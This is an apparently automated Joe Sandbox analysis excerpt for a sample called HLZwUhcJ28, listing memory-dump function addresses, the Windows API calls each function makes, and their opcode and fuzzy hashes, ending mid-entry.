SetFilePointer.KERNELBASE(00000000,00000002,?,?), ref: 00007FF70ECD4A4D
GetLastError.KERNEL32(?,?), ref: 00007FF70ECD4A5C

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: afbb24ce4a808c86d9ab97423e5b5b7dbeb16d4b7f73d0bc2ed342d630b90402
Instruction ID: c03616edfe053f1257c3f34eca550059e1ed423b1214595b9751a1384fc0cd32
Opcode Fuzzy Hash: afbb24ce4a808c86d9ab97423e5b5b7dbeb16d4b7f73d0bc2ed342d630b90402
Instruction Fuzzy Hash: 62310122B1D69252EA746B2ADD806BAA254FF04BD4F840131DF2D47B94DF3FE8418720

Function 00007FF70ECE47F0 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECD6288: FindClose.KERNELBASE(?,?,?,00007FF70ECDFFA5), ref: 00007FF70ECD62BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE4931
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE4937

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: 20175d427c32e94b65b14eb522f67906f9b48ab8bab1200a0ddc17ac7add8826
Instruction ID: f0413e6e76966b60e7aaf16411a236d27e040dcee9a8f59d6a52b3e45a9a8cb7
Opcode Fuzzy Hash: 20175d427c32e94b65b14eb522f67906f9b48ab8bab1200a0ddc17ac7add8826
Instruction Fuzzy Hash: 6841D222F14B8595FB14AB68D8413ADB366FF487A8F900235DE6C13BD9DF799440C354

Function 00007FF70ECD1EBC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF70ECD1EF1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD1FF0

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: 736d537b3c063294d9cf34c2cbe03750f0e101bfe69a453e156390386c11d36b
Instruction ID: 247fa1efd92e0bfdd570e4735ba2491c5fab4bf2baa7dd4dcaa93139f5f4c53a
Opcode Fuzzy Hash: 736d537b3c063294d9cf34c2cbe03750f0e101bfe69a453e156390386c11d36b
Instruction Fuzzy Hash: 3831B022A1D781A1EA10AB25E8553AEF3A1EF847D0F984235EB9C07BD5DF3EE440C710

Function 00007FF70ECD4C70 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF70ECD4C9E
SetFileTime.KERNELBASE ref: 00007FF70ECD4D3B

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 14d6942ec359b5a95a3eda4e56e7a82c4a9158dc0f228e60d57ace847166d981
Instruction ID: 0e4fbfbb67e4757c9a01f8521ca85ded93cebad83a92894f57c557417088e1ea
Opcode Fuzzy Hash: 14d6942ec359b5a95a3eda4e56e7a82c4a9158dc0f228e60d57ace847166d981
Instruction Fuzzy Hash: 2921ED22F0E78665EAAAAB11D8013BBA790BF81794F994131CF5C06395EF3FD586C310

Function 00007FF70ECDAEE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF70ECDAF67
LoadStringW.USER32 ref: 00007FF70ECDAF80

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: dedc9b699e454723cd5290fbfd2bbed97dba7cc30504e392eb1ac5c410963244
Instruction ID: 8f7e16ae1d8b2fa86f51b445c67728423e62d3375354a2b6f9d38a8d2f795eec
Opcode Fuzzy Hash: dedc9b699e454723cd5290fbfd2bbed97dba7cc30504e392eb1ac5c410963244
Instruction Fuzzy Hash: E41173B5B08B418AEA54AB2AED40069F7A1EF98FC0BD4453ADE5C83320EF3DE5518354

Function 00007FF70ECD4D50 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF70ECD4DB1
GetLastError.KERNEL32 ref: 00007FF70ECD4DBE

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: f476d2bfd4726034d9589a57a35db9820aa07498a5a105237817cbeb34648ff6
Instruction ID: 801aef74461db6be8af82d31013c5b6b0f25786c1606ab0a979fc6623ab5d20a
Opcode Fuzzy Hash: f476d2bfd4726034d9589a57a35db9820aa07498a5a105237817cbeb34648ff6
Instruction Fuzzy Hash: 4811A521A1C64292EB64AB25E8803BAA360FF45BA4F944331EB7D536D4DF3ED592C710

Function 00007FF70ECD215C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECDA8AC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70ECDA904
Part of subcall function 00007FF70ECDA8AC: SetDlgItemTextW.USER32 ref: 00007FF70ECDA973
Part of subcall function 00007FF70ECDA8AC: GetWindowRect.USER32 ref: 00007FF70ECDA9AD
Part of subcall function 00007FF70ECDA8AC: GetClientRect.USER32 ref: 00007FF70ECDA9BB

GetDlgItem.USER32 ref: 00007FF70ECD21AC
SetWindowTextW.USER32 ref: 00007FF70ECD21C8

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ItemRectTextWindow$Clientswprintf
String ID:
API String ID: 3322643685-0
Opcode ID: 7b1a7923946a01b82bc000e866a5e8131c4a3fcb45aa136cf21fa47d66a637f8
Instruction ID: 0e47088b0f8f9d14c244e045aca0600120a47412af49bc35b1f13800515cea1b
Opcode Fuzzy Hash: 7b1a7923946a01b82bc000e866a5e8131c4a3fcb45aa136cf21fa47d66a637f8
Instruction Fuzzy Hash: F1015E24F0D34A91FF5D7762AD442BA9391AF45B44F884035DD4D072A9EF2FE9858320

Function 00007FF70ED00E1C Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF70ED00E32
GetLastError.KERNEL32 ref: 00007FF70ED00E44

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 6c19af78ecb99c12c8b97ad79194141d8da1ece1a7cca7b9391e8fefba4d6bd8
Instruction ID: fecde82a8daf0b2617da7c52952c084fe74cc69b6413e06966ef9ef86f75124a
Opcode Fuzzy Hash: 6c19af78ecb99c12c8b97ad79194141d8da1ece1a7cca7b9391e8fefba4d6bd8
Instruction Fuzzy Hash: E6E0C210F0D24352FF18BBF39C143799290DF98B41F8C8830C94DD7292EF2CA4854220

Function 00007FF70ECD6858 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD6ADF

Part of subcall function 00007FF70ECE0AD0: CompareStringW.KERNEL32 ref: 00007FF70ECE0B36

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1017591355-0
Opcode ID: 430d939a93e2044b0e1e3d9942c44c20aa3ee0a929bfcd53dbd863392709a890
Instruction ID: 95021dec2f9524fca0d5fcf746abd3bd2834ecac6b099c18975ead7cbd8b2375
Opcode Fuzzy Hash: 430d939a93e2044b0e1e3d9942c44c20aa3ee0a929bfcd53dbd863392709a890
Instruction Fuzzy Hash: 1961E311E1C64761FA64BA268C152BBE291AF44BD4FD48136EE8E076C6EF3FE451C231

Function 00007FF70ECE4A98 Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE4D6D

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 8b0c66916c3ebf02a7a7365df98f3750845a28750ae82fa8124e9099153cf43a
Instruction ID: 73be2c51708b49a715dd486c28ba8fa3ffada257e89653f52de60800e5f756c1
Opcode Fuzzy Hash: 8b0c66916c3ebf02a7a7365df98f3750845a28750ae82fa8124e9099153cf43a
Instruction Fuzzy Hash: CB71C122F18A52A5FB14EB65DC512BEB362BF44798F904131DD2E437D9DF3DE4409220

Function 00007FF70ECE76F8 Relevance: 1.7, APIs: 1, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECD6288: FindClose.KERNELBASE(?,?,?,00007FF70ECDFFA5), ref: 00007FF70ECD62BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE79DB

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: 8cd53635dd342b9d8534c31d426f8ae7889e06c83b9fc669b72276e432744b53
Instruction ID: 525bfbe9e5be1e18ac8f91f24a1ae952871976701c99d24d956e3bc899d88c8a
Opcode Fuzzy Hash: 8cd53635dd342b9d8534c31d426f8ae7889e06c83b9fc669b72276e432744b53
Instruction Fuzzy Hash: 6B816831E0CB83A1FA60BB25EC5027AB391FF94758F94013AD99C433A5DF6EE8409361

Function 00007FF70ECE9A70 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE9CF4

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: a61f248b0a9ccd8a01cd042c2d40adab81ea10875d31861c1f1888002f278d03
Instruction ID: 03204d51ad8a8559df07e67c1642e5a698905ec6e6e8a87b41f74f1b5861ddc8
Opcode Fuzzy Hash: a61f248b0a9ccd8a01cd042c2d40adab81ea10875d31861c1f1888002f278d03
Instruction Fuzzy Hash: DD615421B1C68261EA60FB14EC952FEF290EFD4748F804175D98D47BE9DF7EE5809620

Function 00007FF70ECD552C Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD569C

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 36e23dbdec53020b1f835f80291cc46b6cf2a46ea1917f098bf880c412ad1992
Instruction ID: 5a65f343ff01a3ec0b49147200cd09a0cf3fd9acb0e1f50bd66c2e641fa935e8
Opcode Fuzzy Hash: 36e23dbdec53020b1f835f80291cc46b6cf2a46ea1917f098bf880c412ad1992
Instruction Fuzzy Hash: 0C41DF22A0CB4590EE14AB24D95537FA3A1EF44BD8F940134EA5D477A9EF3FE442C660

Function 00007FF70ECFF2D8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF70ECFF300

Part of subcall function 00007FF70ECFF490: GetModuleHandleExW.KERNEL32 ref: 00007FF70ECFF4B0
Part of subcall function 00007FF70ECFF490: GetProcAddress.KERNEL32 ref: 00007FF70ECFF4C6
Part of subcall function 00007FF70ECFF490: FreeLibrary.KERNEL32 ref: 00007FF70ECFF4EB

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 4a2f43bead39ce058c557f5b4fc102bf9ea9cb7a759dd16a39b16621d9c8bbb2
Instruction ID: 834f6fa0254b2ac2620fbd65c83b92bf012167c3de7d9ca746b8d5c429d816ac
Opcode Fuzzy Hash: 4a2f43bead39ce058c557f5b4fc102bf9ea9cb7a759dd16a39b16621d9c8bbb2
Instruction Fuzzy Hash: 61419121F1978392FB25BB259CA037AA691EF44740FC8543AD94D87791DF3EE8448360

Function 00007FF70ECE4EE4 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECD6288: FindClose.KERNELBASE(?,?,?,00007FF70ECDFFA5), ref: 00007FF70ECD62BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE5023

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: 84bb52c91770d470c5ce8fb11b36b646ca4ef6c9421ba636b31e3e2a86012136
Instruction ID: 438ad9d6503e63a058e187210686a62c1869d6d7091faf20e38983363ba67a28
Opcode Fuzzy Hash: 84bb52c91770d470c5ce8fb11b36b646ca4ef6c9421ba636b31e3e2a86012136
Instruction Fuzzy Hash: 5B318121B18B8691EA18BB15EC5537AF3A1FF84BD4F840135EAAD07B95CF3EE4418320

Function 00007FF70ED046DC Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED04710

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0a039c216fd43f6ed93c381b723f8e0e858f96ef93bc530090e045798fe727a
Instruction ID: 38b01ceb8d24becea6887f52a9ca153a4f2fe8988de36d50afda20a13e3394a4
Opcode Fuzzy Hash: d0a039c216fd43f6ed93c381b723f8e0e858f96ef93bc530090e045798fe727a
Instruction Fuzzy Hash: 5111513691C68282F611AF159C44B79E6A4FF81384FD90535E7AD87B92DF7CE81087A0

Function 00007FF70ECF376C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECF2BF4: GetDlgItem.USER32 ref: 00007FF70ECF2C33
Part of subcall function 00007FF70ECF2BF4: ShowWindow.USER32 ref: 00007FF70ECF2C59
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2C6E
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2C86
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2CA7
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2CC3
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2D06
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2D24
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2D38
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2D62
Part of subcall function 00007FF70ECF2BF4: SendMessageW.USER32 ref: 00007FF70ECF2D7A

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF3807

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: MessageSend$ItemShowWindow_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1587882848-0
Opcode ID: a17a2933a5598f223953b9eb131bb51ba67130e6c1500cc538cb9751c6f70893
Instruction ID: b701f0bd7d0a58dfef5cb8e00738ccc4c65ca1d88092a5a04d226c5d0cefca23
Opcode Fuzzy Hash: a17a2933a5598f223953b9eb131bb51ba67130e6c1500cc538cb9751c6f70893
Instruction Fuzzy Hash: 6301C8A2A1868562E914B725D85636FE311EF89790F900331E69D0ABD5DF3DD1408614

Function 00007FF70ECD6288 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECD647C: FindFirstFileW.KERNELBASE ref: 00007FF70ECD64CB
Part of subcall function 00007FF70ECD647C: FindFirstFileW.KERNELBASE ref: 00007FF70ECD651E
Part of subcall function 00007FF70ECD647C: GetLastError.KERNEL32 ref: 00007FF70ECD656F

FindClose.KERNELBASE(?,?,?,00007FF70ECDFFA5), ref: 00007FF70ECD62BD

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
